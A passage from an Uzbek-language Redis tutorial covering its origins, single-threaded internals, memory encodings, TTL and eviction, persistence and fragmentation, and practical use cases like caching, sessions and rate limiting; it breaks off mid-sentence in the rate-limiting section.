Bu darsda nima o‘rganasiz
Oddiy tilda: katta ofisda o‘nlab xodim bir xil savollarga javob qidiradi — “bugun kim navbatchi?”, “mijozning oxirgi buyurtmasi qaysi?”, “bu hujjatni kim tahrirlayapti?”. Har safar arxivga tushib, papkalarni varaqlash sekin. Shuning uchun dahlizga umumiy oq doska osiladi: eng kerakli ma’lumotlar shu yerda, hamma ko‘radi, hamma yozadi va har yozuv bir lahzada ko‘rinadi. Doska arxivni almashtirmaydi — u arxivning tezkor nusxasi va umumiy xotirasi.
Redis — dasturlar uchun aynan shunday doska. Lekin oddiy doska emas: unda tayyor “jadvallar” bor — navbat, reyting, to‘plam, hisoblagich, oqim. Va eng muhimi, ikki kishi bir vaqtda yozsa ham doska chalkashmaydi: har yozuv bitta-bitta, navbat bilan bajariladi.
Redis haqida ko‘p yozilgan, lekin deyarli hammasi bir xil: “tez kesh,
kalit-qiymat, GET va SET”. Bu ta’rif Redis’ning nima ekanini emas,
nima ko‘rinishini tasvirlaydi. Aslida Redis — xotiradagi ma’lumot
strukturalari serveri. Uning kuchi tezlikda emas (tez narsalar ko‘p),
balki server tomonida atomik ishlaydigan ro‘yxat, to‘plam, tartiblangan
to‘plam, bitmap va oqimda. Aynan shular 12 ta amaliy stsenariyni tug‘diradi.
Dars noldan hozirgi holatigacha boradi. 2009-yilda bitta dasturchi o‘z analitika xizmati uchun yozgan kichik serverdan boshlaymiz. Keyin u dunyodagi eng ko‘p ishlatiladigan xotiradagi bazaga aylanadi va 2024-yilda litsenziya bo‘yicha bo‘linadi (Valkey). Ichkariga ham kiramiz: skiplist reytingni qanday tez saralaydi, HyperLogLog 12 KB da milliardlab odamni qanday sanaydi, muddati o‘tgan kalitlar qanday tozalanadi.
| Savol | Javob shu darsda | Bo‘lim |
|---|---|---|
| Nega bitta ipli server 100 000 ops/s beradi? | Event loop va vaqt byudjeti | 2.1, 6 |
KEYS * nega ishlab chiqarishda taqiqlangan? | Bloklovchi komandalar | 2.6 |
| 10 million kalit qancha xotira yeydi? | Kalit ustama xarajati hisobi | 2.4 |
| Nega kichik hash 5 barobar arzon? | Kodlashlar (listpack) | 2.5 |
| RDB saqlashda xotira nega ikki barobar oshadi? | fork va copy-on-write | 4.2 |
| Taqsimlangan lock ishonchlimi? | Redlock munozarasi va fencing | 5 (7-stsenariy) |
| Reyting jadvalida “mening o‘rnim” qanday O(log N)? | Skiplist va span | 7.1 |
| 12 KB da milliard noyob foydalanuvchi? | HyperLogLog ichidan | 7.2 |
| Failover‘da nechta yozuv yo‘qoladi? | Asinxron replikatsiya | 8.2 |
1. Muammo: nega umuman Redis kerak?
1.1 Hamma narsa bitta jadvaldan boshlanadi
Oddiy tilda: ma’lumotni olish — narsani olib kelishga o‘xshaydi. Cho‘ntakdagi narsa — bir soniya. Uydagi javon — bir daqiqa. Shahar chetidagi ombor — bir soat. Boshqa shahardagi ombor — bir kun. Kompyuterda ham xuddi shunday “masofalar” bor, va farq millionlab barobar. Redis’ning butun ma’nosi — kerakli narsani “ombor”dan “javon”ga olib kelish.
Kechikish raqamlari — bu darsning asosi. Ularni yodda tutish kerak:
| Amal | Vaqt | Nisbat |
|---|---|---|
| L1 kesh o‘qish | ~1 ns | 1× |
| Asosiy xotiradan (RAM) o‘qish | ~100 ns | 100× |
| NVMe SSD tasodifiy o‘qish | ~100 µs | 100 000× |
Ma’lumotlar bazasidan oddiy SELECT (issiq) | ~0.5–2 ms | ~10⁶× |
Ma’lumotlar bazasidan SELECT (diskdan) | ~5–20 ms | ~10⁷× |
| Bir mintaqadan boshqasiga tarmoq | ~100 ms | ~10⁸× |
Xulosa darhol amaliy bo‘ladi: Redis‘ni tezlashtirish uchun komandalarni emas, chaqiruvlar sonini kamaytirish kerak. Buni 2.7-bo‘limda pipelining bilan raqamda ko‘ramiz.
1.2 Redis nima va nima emas
- Xotiradagi ma'lumot strukturalari serveri
- Bitta ipda, atomik komandalar
- Server tomonida hisoblash: ZSET, bitmap, HLL
- Ixtiyoriy doimiylik (RDB, AOF)
- Umumiy maqsadli ma'lumotlar bazasi emas (murakkab so'rov yo'q)
- Cheksiz xotira emas — RAM qimmat va cheklangan
- Kafolatlangan yetkazish tizimi emas (Pub/Sub yo'qotadi)
- Sehrli tezlashtirgich emas — noto'g'ri ishlatilsa sekinlashtiradi
1.3 v0: Redis‘siz hayot
Redis nima uchun paydo bo‘lganini tushunish uchun undan oldingi holatga qaytamiz. Ilova sekinlashdi, profiler bir xil so‘rov qayta-qayta bajarilayotganini ko‘rsatdi. Birinchi tabiiy qadam — jarayon ichidagi kesh:
_cache = {} # oddiy dict
def get_article(id):
if id in _cache:
return _cache[id]
row = db.query("SELECT ... WHERE id = %s", id)
_cache[id] = row
return row
Bu ishlaydi va u eng tez kesh: tarmoq ham, seriyalash ham yo‘q, murojaat ~100 ns. Bitta serverda bu yetarli. Lekin serverlar soni o‘sishi bilan uchta muammo paydo bo‘ladi.
1.4 Nima sindi
1. Xotira takrorlanadi. Har bir server o‘z nusxasini saqlaydi.
2. Invalidatsiya imkonsiz. Maqola tahrirlandi. Qaysi serverning keshida uning eski nusxasi bor? Hammasida. Ularning har biriga xabar berish kerak — ya’ni sizga taqsimlangan xabar tizimi kerak bo‘lib qoladi.
3. Sovuq start va yuk muvozanati. Yangi server ko‘tarildi — keshi bo‘sh, bazaga to‘liq yuk beradi. Yuk muvozanatlagich so‘rovni boshqa serverga yuborsa, o‘sha serverda kesh yo‘q.
4. Umumiy holat saqlab bo‘lmaydi. Rate limiting, sessiya, taqsimlangan lock — bularning hech biri jarayon ichida ishlamaydi, chunki ular hamma serverlar uchun bitta haqiqat talab qiladi.
1.5 Redis qanday shakllandi
Redis bitta aniq muammodan tug‘ildi. Italiyalik dasturchi Salvatore Sanfilippo (taxallusi antirez) LLOOGG degan real vaqtdagi veb-analitika xizmatini yuritardi: saytga kim kirdi, qaysi sahifani ochdi — darhol ko‘rsatish kerak edi. Har tashrif bazaga yozilar va “oxirgi N ta tashrif” ro‘yxati doim yangilanardi. Yuk oshgach MySQL buni ko‘tara olmadi.
Antirez xotirada ishlaydigan kichik server yozdi. U oddiy kalit-qiymat emas edi: unda ro‘yxat bor edi va “ro‘yxat boshiga qo‘sh, oxirini kes” amali server ichida bajarilardi. Bir necha hafta ichki ishlatishdan keyin, 2009-yil 25-fevralda u loyihani Hacker News’da e’lon qildi va kodni ochdi. Shu bitta qaror — ma’lumot strukturalari serverning ichida — keyingi o‘n besh yil davomida Redis’ni oddiy keshlardan ajratib turdi.
1.6 Memcached va Redis
Bu — intervyudagi klassik savol va uning javobi tarixiy sabablarni ochadi.
- Faqat kalit -> satr (struktura yo'q)
- Ko'p ipli — katta qiymatlarda tezroq bo'lishi mumkin
- Doimiylik yo'q, replikatsiya yo'q
- Slab allocator — fragmentatsiya bashoratli
- Ma'lumot strukturalari: ZSET, bitmap, Streams, HLL
- Atomik server tomon amallari va Lua
- Doimiylik, replikatsiya, failover, klaster
- Kesh emas, holat saqlash uchun ham mos
Amaliy xulosa: agar sizga faqat kalit-qiymat kesh kerak bo‘lsa va tuzilma kerak bo‘lmasa, memcached hali ham to‘g‘ri tanlov — u soddaroq va ko‘p ipli. Boshqa barcha holatlarda Redis‘ning strukturalari uni ancha ustun qiladi. Aynan shu sabab bu darsning asosiy qismi (5-bo‘lim) strukturalarga bag‘ishlangan.
1.7 Konvert orqasidagi hisob
Nazorat savoli · javobni ko‘rishJamoadoshingiz 'jarayon ichidagi dict Redis'dan 1000 barobar tez, Redis'ga nima hojat?' deyapti. U haqmi?
Tezlik bo‘yicha — haq: lug‘atga murojaat ~100 ns, Redis’ga esa tarmoq bilan ~200 µs. Lekin u noto‘g‘ri savolga javob beryapti.
Redis tezlik uchun emas, umumiylik uchun kerak (1.4):
- 50 ta server bitta keshni baham ko‘radi — xotira takrorlanmaydi va urish darajasi yuqori
- bitta yozuvni o‘zgartirsangiz, hamma darhol yangisini ko‘radi — invalidatsiya muammosi yo‘q
- rate limit, sessiya, lock — hamma serverlar uchun bitta haqiqat talab qiladi, va bu jarayon ichida imkonsiz
Eng yaxshi javob — ikkalasi birga: juda issiq va kam o‘zgaradigan narsalar (konfiguratsiya) jarayon ichida, qolgani Redis’da. Redis 6 dagi mijoz tomonidagi kesh (2.7 dagi Deep) aynan shu ikkisini birlashtiradi.
2. Nol nuqta: Redis ichkarida qanday ishlaydi
2.1 Bitta ip: nega bu kamchilik emas
Oddiy tilda: bankda bitta kassir bor, lekin u har mijozga bir soniyada xizmat qiladi. Navbatdagi odamlar uni kutadi, lekin kutish juda qisqa. Va bitta kassir bo‘lgani uchun “ikki kassir bir vaqtda bitta hisobdan pul berib yubordi” degan xato hech qachon bo‘lmaydi. Faqat bitta qoida bor: hech kim kassir oldida yarim soat turib qolmasin.
Redis komandalarni bitta ipda, navbat bilan bajaradi. Intuitsiya bunga qarshi chiqadi: 32 yadroli serverda bitta yadro ishlatilsa, isrof emasmi?
Yo‘q, chunki 1.1-bo‘limdagi hisobga qarang: bitta komanda 1 mikrosoniya oladi. Bitta yadro sekundiga million komanda bajaradi, tarmoq esa bundan ancha oldin to‘yinadi.
Bitta ipning uchta katta yutug‘i bor:
- Qulf (lock) yo‘q — hech qanday mutex, race condition, deadlock yo‘q. Kod sodda va bashoratli
- Har bir komanda atomik —
INCRyokiZADDo‘rtasida hech kim aralasha olmaydi. Bu 5-bo‘limdagi stsenariylarning yarmini imkonli qiladi - Bashoratli kechikish — kontekst almashinuvi va kesh nomuvofiqligi yo‘q
▸Chuqurroq: Event loop: bitta ip minglab ulanishni qanday boshqaradi
Redis hodisalarga asoslangan model ishlatadi (epoll Linux‘da, kqueue BSD‘da).
Bitta sikl:
while (1) {
// 1. Tayyor bo'lgan socketlarni so'raymiz (bloklanmasdan)
events = epoll_wait(fds, timeout_ms);
// 2. Har biridan komandani o'qib, DARHOL bajaramiz
for (e in events) {
cmd = parse(read(e.fd));
result = execute(cmd); // ~1 mikrosoniya
buffer_write(e.fd, result);
}
// 3. Vaqtga bog'liq ishlar
serverCron(); // ekspirasiya, statistika, AOF, replikatsiya
}
Muhim jihat: ulanishlar soni 10 000 bo‘lsa ham, xotira faqat bufer uchun sarflanadi — har bir ulanish uchun ip yoki jarayon yaratilmaydi. Bu C10K muammosining klassik yechimi.
Zamonaviy nuans: Redis 6 dan boshlab I/O threads bor. Ular faqat socketdan o‘qish va yozishni parallellashtiradi; komandalarni bajarish hali ham bitta ipda. Ya’ni atomiklik kafolati saqlanadi, lekin tarmoq qismi bir necha yadroga taqsimlanadi.
2.2 RESP protokoli: bayt darajasida
Redis o‘z matnli protokolini ishlatadi. Uni bilish debug paytida va mijoz kutubxonasini tanlashda foyda beradi.
Mijoz -> Server:
*3\r\n$3\r\nSET\r\n$7\r\nuser:42\r\n$5\r\nAziza\r\n
*3 -> 3 elementli massiv
$3 SET -> 3 baytli satr: "SET"
$7 user:42
$5 Aziza
Server -> Mijoz:
+OK\r\n
Javob turlari bitta belgi bilan ajratiladi: + oddiy satr, - xato, : butun son,
$ bulk satr, * massiv. Sodda, o‘qiladigan va parse qilish arzon — bu ham
1 mikrosoniyalik byudjetning bir qismi.
2.3 Kalitlar va qiymatlar: xotirada nima yotadi
Oddiy tilda: pochta orqali bitta tugma yuborsangiz ham, quti, yorliq, manzil va muhr kerak bo‘ladi. Kichik narsalarda qadoq narsaning o‘zidan qimmatroq. Redis’da ham har kalitning “qadog‘i” bor — va kichik qiymatlarda u ma’lumotning o‘zidan katta.
Har bir kalit-qiymat juftligi bir necha strukturadan iborat va ularning har biri joy egallaydi:
Kalit maydoni (dict)
└─ dictEntry ~24 bayt (kalit ko'rsatkichi, qiymat ko'rsatkichi, keyingi)
├─ kalit: SDS satri ~16 bayt sarlavha + matn + 1
└─ qiymat: robj ~16 bayt (turi, kodlash, refcount, ptr)
└─ haqiqiy ma'lumot
Bunga jemalloc‘ning yaxlitlashi qo‘shiladi: 33 baytlik so‘rov 40 baytlik blok oladi.
2.4 Kalit ustama xarajati: hisob
2.5 Kodlashlar: bir xil tur, ikki xil ichki tuzilish
Redis har bir turni ikki xil saqlashi mumkin: kichik bo‘lsa ixcham ketma-ketlik, katta bo‘lsa to‘liq struktura.
| Tur | Kichik holat | Katta holat | Chegara (standart) |
|---|---|---|---|
| Hash | listpack | hashtable | 128 maydon / 64 bayt |
| List | listpack | quicklist | 128 element / 64 bayt |
| Set (butun sonlar) | intset | hashtable | 512 element |
| Set (satrlar) | listpack | hashtable | 128 element |
| ZSet | listpack | skiplist + hashtable | 128 element / 64 bayt |
▸Chuqurroq: Listpack O(N) — nega bu muammo emas
Listpack — bu oddiy ketma-ket massiv. Undagi qidiruv O(N) — ya’ni 128 elementni
ketma-ket ko‘rib chiqish kerak.
Nega bu sekin emas? Chunki 128 ta kichik element bitta yoki ikkita kesh liniyasiga
sig‘adi va zamonaviy protsessor uchun ketma-ket xotirani o‘qish ko‘rsatkichlar bo‘yicha
sakrashdan tezroq. O(1) hashtable ko‘rsatkichni ta’qib qiladi va har safar kesh
xatosiga (cache miss) uchraydi.
Shuning uchun chegaralar aynan shunday tanlangan: kichik hajmda ixcham massiv ham tez,
ham arzon. Chegarani oshirish (hash-max-listpack-entries 1000) xotirani tejaydi, lekin
O(N) ni sezilarli qiladi — bu sozlanadigan kelishuv.
2.6 Vaqt murakkabligi: eng muhim jadval
Bitta ipli serverda har bir komandaning murakkabligi — bu butun serverning kechikishi.
| Komanda | Murakkablik | Xavf |
|---|---|---|
GET, SET, HGET, SADD | O(1) | Yo‘q |
ZADD, ZSCORE, ZRANK | O(log N) | Yo‘q |
LPUSH, RPOP | O(1) | Yo‘q |
ZRANGE key 0 9 | O(log N + 10) | Yo‘q |
HGETALL katta hash‘da | O(N) | Bor |
SMEMBERS katta set‘da | O(N) | Bor |
KEYS pattern | O(N) butun baza | Juda katta |
FLUSHALL, DEL katta obyektda | O(N) | Bor |
2.7 Pipelining: 99% ni tejaydigan bitta usul
1.1-bo‘limdagi hisob: vaqtning 99% i tarmoqqa ketadi. Demak, bir nechta komandani bitta paketda yuborsak, tejash to‘g‘ridan-to‘g‘ri bo‘ladi.
▸Chuqurroq: Pipeline, tranzaksiya va Lua: uchtasi bir xil emas
Pipeline — faqat tarmoq optimizatsiyasi. Komandalar birga yuboriladi, lekin ular orasiga boshqa mijozning komandasi tushishi mumkin. Atomiklik yo‘q.
MULTI/EXEC (tranzaksiya) — komandalar navbatga yig‘iladi va EXEC da birga,
uzilmasdan bajariladi. Lekin bu SQL tranzaksiyasi emas: rollback yo‘q, va oraliq
natijaga qarab qaror qabul qilib bo‘lmaydi. WATCH optimistik qulf beradi
(kalit o‘zgarsa EXEC bekor bo‘ladi).
Lua skript — server tomonida bajariladigan kod, to‘liq atomik, va oraliq natijalarga qarab mantiq qura oladi. Aynan shu sabab murakkab atomik amallar (rate limiter, lock, navbat) Lua‘da yoziladi.
-- Atomik "agar egasi men bo'lsam, qulfni ochish"
if redis.call("GET", KEYS[1]) == ARGV[1] then
return redis.call("DEL", KEYS[1])
else
return 0
end
Ogohlantirish: Lua skript ham bitta ipda ishlaydi va serverni bloklaydi. Uzun sikl yozilsa, butun Redis to‘xtaydi. Skriptlar qisqa va bashoratli bo‘lishi shart.
▸Chuqurroq: Paket hajmi: pipeline'ni cheksiz kattalashtirib bo'lmaydi
Pipeline yaxshi, lekin 100 000 komandani bitta paketda yuborish yomon g‘oya:
- Server buferi o‘sadi — javoblar to‘planadi va xotira yeydi
- Boshqa mijozlar kutadi — bitta ipli server ketma-ket bajaradi, ya’ni 100 000 komanda ishlagunicha (~100 ms) qolganlar navbatda turadi
- Xato boshqarish qiyinlashadi — qaysi komanda muvaffaqiyatsiz bo‘lganini ajratish
Amaliy chegara: 100–1000 komanda bitta paketda. Bu RTT ni deyarli butunlay yo‘qotadi, lekin serverni bloklamaydi:
1000 komanda x 1 µs = 1 ms server ishi
+ 200 µs RTT
= 1.2 ms -> 833 000 komanda/soniya
Katta hajmlarni bo‘lish kerak: 1 million kalitni yozish uchun 1000 tadan 1000 ta paket.
▸Chuqurroq: Mijoz tomonidagi kesh: ikkalasidan ham foydalanish
Redis 6 dan boshlab client-side caching (tracking) bor: mijoz qiymatni o‘z xotirasida saqlaydi, Redis esa u o‘zgargan paytda invalidatsiya xabarini yuboradi.
CLIENT TRACKING on REDIRECT <client-id>
GET user:42 -> mijoz javobni o'z keshiga qo'yadi
Redis bu kalitni kim keshlaganini eslab qoladi
(kimdir SET user:42) -> Redis invalidatsiya xabari yuboradi
mijoz o'z keshidan o'chiradi
Bu 1.3-bo‘limdagi jarayon ichidagi keshning barcha yutuqlarini beradi (100 ns murojaat, tarmoqsiz), lekin invalidatsiya muammosisiz — ya’ni o‘sha bo‘limdagi asosiy kamchilikni yopadi.
Narxi: Redis har bir mijoz nimani keshlaganini kuzatishi kerak (xotira), va invalidatsiya xabarlari qo‘shimcha trafik yaratadi. Juda issiq va kam o‘zgaradigan kalitlar uchun (konfiguratsiya, feature flag‘lar) bu juda samarali.
Nazorat savoli · javobni ko‘rishIlovangizda 500 ta kalitni o'qish kerak. `GET` ni siklda chaqirsangiz nima bo'ladi va nima qilish kerak?
Siklda 500 ta GET = 500 ta tarmoq borish-kelishi ≈ 100 ms. Redis‘ning o‘z ishi esa
atigi 0.5 ms — ya’ni vaqtning 99.5% i kutishga ketadi.
Uch yechim, tartib bo‘yicha:
MGET— bitta komanda bilan bir necha kalit:MGET k1 k2 ... k500. Eng oddiy- Pipeline — turli komandalar bo‘lsa (masalan
HGETALLlar), ularni bitta paketda yuborish - Ma’lumotni qayta modellashtirish — agar 500 ta kalit doim birga o‘qilsa, ular
bitta hash bo‘lishi kerak:
HGETALL user:42:settings
Klaster rejimida qo‘shimcha nuqta: MGET faqat bir xil slotdagi kalitlar uchun ishlaydi
(8.3-bo‘lim), shuning uchun pipeline ko‘pincha universalroq yechim.
3. Ekspirasiya va siqib chiqarish
Oddiy tilda: muzlatgichda ikki xil sabab bilan narsa chiqarib tashlanadi. Birinchisi — yaroqlilik muddati tugadi (siz o‘zingiz shu sanani yozgansiz). Ikkinchisi — joy qolmadi va yangi narsa sig‘mayapti, shuning uchun eng kam ishlatilganini olib tashlaysiz. Birinchisi — ekspirasiya, ikkinchisi — siqib chiqarish. Ular butunlay boshqa mexanizmlar.
Redis xotirasi cheklangan. Ikkita mustaqil mexanizm undan nima chiqib ketishini boshqaradi va ularni chalkashtirish keng tarqalgan xato.
| Ekspirasiya (TTL) | Siqib chiqarish (eviction) | |
|---|---|---|
| Nima uchun ishlaydi | Kalit muddati tugadi | Xotira limiti to‘ldi |
| Kimni tanlaydi | Muddati o‘tganlarni | Siyosatga ko‘ra istalganini |
| Boshqariladi | EXPIRE, SET ... EX | maxmemory-policy |
| Kutilgan hodisa | Ha, siz xohlagansiz | Yo‘q, bu bosim belgisi |
3.1 TTL qanday ishlaydi: ikki mexanizm birga
Redis muddati o‘tgan kalitni darhol o‘chirmaydi — bu million kalitni kuzatib turishni talab qilardi. O‘rniga ikki usul birga ishlaydi:
Passiv (lazy) — kalitga murojaat qilinganda muddati tekshiriladi. Muddati o‘tgan bo‘lsa, o‘sha lahzada o‘chiriladi va “yo‘q” deb javob beriladi.
Faol (active) — serverCron har 100 ms da (standart hz 10) quyidagi siklni
bajaradi:
takrorlash:
TTL li kalitlardan 20 tasini TASODIFIY tanla
muddati o'tganlarini o'chir
agar o'chirilganlar 25% dan ko'p bo'lsa -> yana takrorla
aks holda -> to'xta
Cheklov: bu ish CPU vaqtining 25% idan oshmasin
▸Chuqurroq: Nega tasodifiy namuna, nega aynan 25%
To‘liq skanerlash O(N) bo‘lardi va bitta ipli serverni bloklardi. Tasodifiy namuna
esa ehtimollik kafolatini beradi: agar muddati o‘tgan kalitlar ulushi 25% dan yuqori
bo‘lsa, sikl davom etadi; past bo‘lsa, to‘xtaydi.
Natijada muvozanat holati: xotirada muddati o‘tgan, lekin hali o‘chirilmagan kalitlar
ulushi ~25% dan oshmaydi. Ya’ni yomon holatda used_memory haqiqiy ma’lumotdan
choragacha ko‘p bo‘lishi mumkin.
Amaliy oqibat: agar bir vaqtda million kalitning muddati tugasa (masalan hammasiga bir xil TTL berilgan bo‘lsa), faol sikl ularni bir necha soniya davomida tozalaydi va shu davrda kechikish sezilarli oshadi. Shuning uchun TTL ga tasodifiy qo‘shimcha (jitter) berish kerak:
ttl = 3600 + random(0, 300) -- hammasi bir lahzada tugamasin
Bu — 2-darsdagi cache stampede muammosining aynan o‘zi, faqat boshqa tomondan.
3.2 Siqib chiqarish siyosatlari
maxmemory limitiga yetilganda Redis nima qiladi — bu maxmemory-policy bilan
belgilanadi:
| Siyosat | Nima qiladi | Qachon |
|---|---|---|
noeviction | Yozishni rad etadi (xato qaytaradi) | Redis asosiy saqlash bo‘lsa |
allkeys-lru | Har qanday kalitdan eng kam ishlatilganini | Sof kesh |
allkeys-lfu | Har qanday kalitdan eng kam chastotalisini | Sof kesh, notekis murojaat |
volatile-lru | Faqat TTL li kalitlardan | Aralash: kesh + doimiy ma’lumot |
volatile-ttl | Muddati eng yaqinini | Aralash, TTL mazmunli bo‘lsa |
allkeys-random | Tasodifiy | Deyarli hech qachon |
▸Chuqurroq: Taxminiy LRU: nega Redis 'haqiqiy' LRU ishlatmaydi
Haqiqiy LRU barcha kalitlarni murojaat tartibida ushlab turadigan bog‘langan ro‘yxatni talab qiladi — har bir kalit uchun qo‘shimcha 16 bayt ko‘rsatkich va har murojaatda ro‘yxatni yangilash.
Redis o‘rniga namuna oladi: maxmemory-samples (standart 5) ta kalitni tasodifiy
tanlab, ularning ichidan eng eskisini chiqaradi. Har bir robj da 24 bitlik vaqt belgisi
saqlanadi — qo‘shimcha struktura kerak emas.
Aniqlik: 5 ta namunada tanlov haqiqiy LRU dan sezilarli farq qiladi; 10 ta namunada farq deyarli yo‘qoladi. Narxi — har siqib chiqarishda biroz ko‘proq CPU.
LFU (Redis 4 dan) chastotani logarifmik hisoblagichda saqlaydi va u vaqt bilan “sovib” boradi. Kesh uchun odatda LRU dan yaxshiroq: bir marta ko‘p so‘ralgan, keyin unutilgan kalit tez chiqib ketadi.
Nazorat savoli · javobni ko‘rishRedis xotirasi to'ldi va yozishlar xato bera boshladi. Birinchi navbatda nimani tekshirasiz?
maxmemory-policy— agarnoevictionbo‘lsa, bu kutilgan xatti-harakat. Redis kesh sifatida ishlatilayotgan bo‘lsa, siyosatallkeys-lruyokiallkeys-lfubo‘lishi kerakINFO memory—used_memoryvaused_memory_rssnisbati. RSS ancha katta bo‘lsa, fragmentatsiya bor (4.3-bo‘lim)- Katta kalitlar —
redis-cli --bigkeysbitta kalit gigabaytlarni yeb yotgan bo‘lishi mumkin - TTL taqsimoti — TTL siz kalitlar ulushi qancha?
volatile-*siyosatida TTL siz kalitlar hech qachon chiqarilmaydi va ular xotirani asta-sekin to‘ldiradi - O‘sish tezligi — kalitlar soni vaqt bo‘yicha qanday o‘sgan; yangi funksiya TTL qo‘ymayotgan bo‘lishi mumkin
4. Doimiylik: xotiradagi ma’lumotni qanday saqlash
Oddiy tilda: oq doskadagi yozuvni saqlashning ikki yo‘li bor. Birinchisi — har kecha doskani suratga olish (tez tiklanadi, lekin oxirgi suratdan keyingi yozuvlar yo‘qoladi). Ikkinchisi — doskaga yozilgan har bir gapni daftarga ham yozib borish (hech narsa yo‘qolmaydi, lekin daftar qalinlashadi va tiklash uchun hammasini qayta o‘qish kerak).
Redis xotirada ishlaydi, lekin qayta ishga tushganda ma’lumot yo‘qolmasligi uchun ikki mexanizm bor. Ular bir-birini almashtirmaydi — ko‘pincha ikkalasi birga ishlatiladi.
4.1 RDB va AOF
- Butun ma'lumotning ixcham binar surati
- Fayl kichik, tiklash tez
- Suratlar orasidagi yozuvlar yo'qoladi
- fork talab qiladi — xotira cho'qqisi
- Har bir yozish komandasi faylga qo'shiladi
- Yo'qotish minimal (fsync sozlamasiga qarab)
- Fayl kattaroq, tiklash sekinroq
- Davriy 'rewrite' kerak — u ham fork qiladi
AOF ning ishonchliligi appendfsync bilan boshqariladi:
| Sozlama | Yo‘qotish oynasi | Ishlash ta’siri |
|---|---|---|
always | ~0 (har komanda) | Juda katta — throughput bir necha barobar tushadi |
everysec | ≤ 1 soniya | Kichik — standart va tavsiya etilgan |
no | OT qachon xohlasa (30 s gacha) | Yo‘q, lekin xavfli |
4.2 fork va copy-on-write: xotira nega ikki barobar oshadi
Bu — Redis operatsiyasidagi eng ko‘p kutilmagan hodisa va u maxmemory ni tanlashni
belgilaydi.
RDB saqlash yoki AOF rewrite paytida Redis fork() qiladi: bola jarayon xotiraning
“suratini” oladi. Nusxa darhol olinmaydi — sahifalar copy-on-write rejimida ota va
bola o‘rtasida baham ko‘riladi. Lekin ota jarayon yozishda davom etsa, har bir tegilgan
sahifa nusxalanadi.
4.3 Xotira fragmentatsiyasi
INFO memory da ikkita raqam bor va ular farq qiladi:
used_memory: 21474836480 # Redis o'zi hisoblagan (21 GB)
used_memory_rss: 27917287424 # OT ko'rsatgan haqiqiy (26 GB)
mem_fragmentation_ratio: 1.30 # nisbat
Nisbat 1.0 ga yaqin bo‘lishi kerak. 1.5 dan yuqori bo‘lsa — jemalloc bloklari orasida
bo‘shliqlar bor (ko‘p o‘chirish va turli hajmdagi qiymatlar sabab). Chora: activedefrag yes (fon defragmentatsiyasi) yoki rejalashtirilgan qayta ishga tushirish.
Nisbat 1.0 dan past bo‘lsa — bu yomonroq signal: ma’lumotning bir qismi swap ga tushgan va har murojaat diskka boradi. Kechikish 100 ns dan 100 µs ga sakraydi.
Nazorat savoli · javobni ko‘rishRedis 'tez' bo'lishi kerak edi, lekin p99 kechikish 50 ms ga chiqdi. Qaysi to'rt sababni birinchi tekshirasiz?
O(N)komanda —slowlog get 10bilan sekin komandalarni ko‘ring.KEYS, kattaHGETALL, katta obyektniDELqilish- Fork paytidagi to‘xtash —
latest_fork_usecniINFOda ko‘ring. 20 GB da fork o‘zi 200–400 ms bloklashi mumkin - Swap —
mem_fragmentation_ratio1 dan past bo‘lsa yoki server RAM i to‘lgan bo‘lsa - Tarmoq yoki mijoz tomoni — Redis
INFO commandstatsda tez ko‘rsatsa, lekin ilova sekin ko‘rsa, muammo tarmoq, ulanish hovuzi yoki mijoz kutubxonasida
Beshinchi, kam uchraydigan: AOF always rejimi — har komanda diskka fsync qiladi va
kechikish diskning kechikishiga tenglashadi.
5. 12 ta asosiy stsenariy
Oddiy tilda: bitta doskani o‘n ikki xil maqsadda ishlatish mumkin — eslatma, navbat ro‘yxati, musobaqa jadvali, “kim keldi” belgisi, xona kaliti kimdaligi. Har maqsad uchun doskada boshqa shakl kerak: ro‘yxat, jadval, katakchalar. Redis’dagi turlar — aynan shu shakllar.
Bu bo‘lim darsning yuragi. Har bir stsenariyda: qanday muammo, qaysi struktura, aniq komandalar va eng ko‘p qilinadigan xato.
Kesh: eng keng tarqalgan stsenariy
Oddiy tilda: tez-tez so‘raladigan javobni doskaga yozib qo‘yish — har safar arxivga tushmaslik uchun.
GET article:1042 -> kesh
(yo'q bo'lsa) bazadan o'qish
SET article:1042 <json> EX 3600 NX -> keshga yozish
Uch nozik nuqta:
- TTL ga jitter —
EX 3600o‘rnigaEX (3600 + rand(0,300)). Aks holda bir vaqtda yaratilgan minglab kalit bir vaqtda tugaydi (3.1-bo‘lim) - Salbiy keshlash — “bunday yozuv yo‘q” ham keshlanadi, qisqa TTL bilan. Aks holda mavjud bo‘lmagan ID lar to‘g‘ri bazani uradi
- Stampede — hot kalit tugagan lahzada barcha so‘rovlar bazaga yuguradi. Yechim:
SET lock:article:1042 1 NX EX 5bilan bitta so‘rovni o‘tkazish (single-flight) yoki eskirgan qiymatni berib, fonda yangilash
Invalidatsiya uchun ikki naqsh:
| Naqsh | Qanday | Qachon |
|---|---|---|
| TTL bilan eskirish | Faqat vaqt bo‘yicha | Ma’lumot kam o‘zgarsa |
| Yozishda o‘chirish | DEL article:1042 yangilanishda | Aniqlik muhim bo‘lsa |
Yozishda yangilash emas, o‘chirish afzal: yangilash poyga holatiga olib keladi (eski qiymat yangisidan keyin yozilib qolishi mumkin), o‘chirish esa har doim xavfsiz.
Yutuq: Bazaga yuk 10-100 barobar kamayadi
Narxi: Izchillik kechikishi, invalidatsiya mantiqi, stampede xavfi
Sessiya saqlash
Oddiy tilda: ofisga kirish kartasi. Har eshik sizdan parol so‘ramaydi — kartangizni o‘qiydi va umumiy ro‘yxatdan kimligingizni biladi.
HSET session:a9f3... user_id 42 role admin csrf x7k2
EXPIRE session:a9f3... 1800
HGETALL session:a9f3... -> har so'rovda
EXPIRE session:a9f3... 1800 -> faollikda muddatni uzaytirish
Hash ishlatiladi, chunki bitta maydonni (HSET session:... last_seen) butun obyektni
qayta yozmasdan yangilash mumkin.
Muhim qaror: sessiyalar uchun noeviction yoki volatile-lru kerak. allkeys-lru
da xotira bosimida sessiyalar chiqarib yuboriladi va foydalanuvchilar tasodifiy tizimdan
chiqib qoladi. Bu — kesh va holat bir instansiyada saqlanganda yuzaga keladigan klassik
xato; ularni alohida instansiyada saqlash to‘g‘riroq.
Yutuq: Serverlar holatsiz bo'ladi, istalganiga yo'naltirish mumkin
Narxi: Redis tushsa hamma tizimdan chiqib ketadi
Tezlik cheklovi (rate limiting)
Oddiy tilda: kafeda “bir kishiga bir soatda ko‘pi bilan uchta bepul qahva” qoidasi. Kassir har mijoz uchun hisob yuritadi va hisob har soatda yangilanadi.
Eng oddiy va eng ko‘p uchraydigan variant — sobit oyna:
INCR ratelimit:user:42:1712345678
EXPIRE ratelimit:user:42:1712345678 60 NX
Lekin ikkita komanda atomik emas: INCR dan keyin jarayon tushsa, kalit muddatsiz
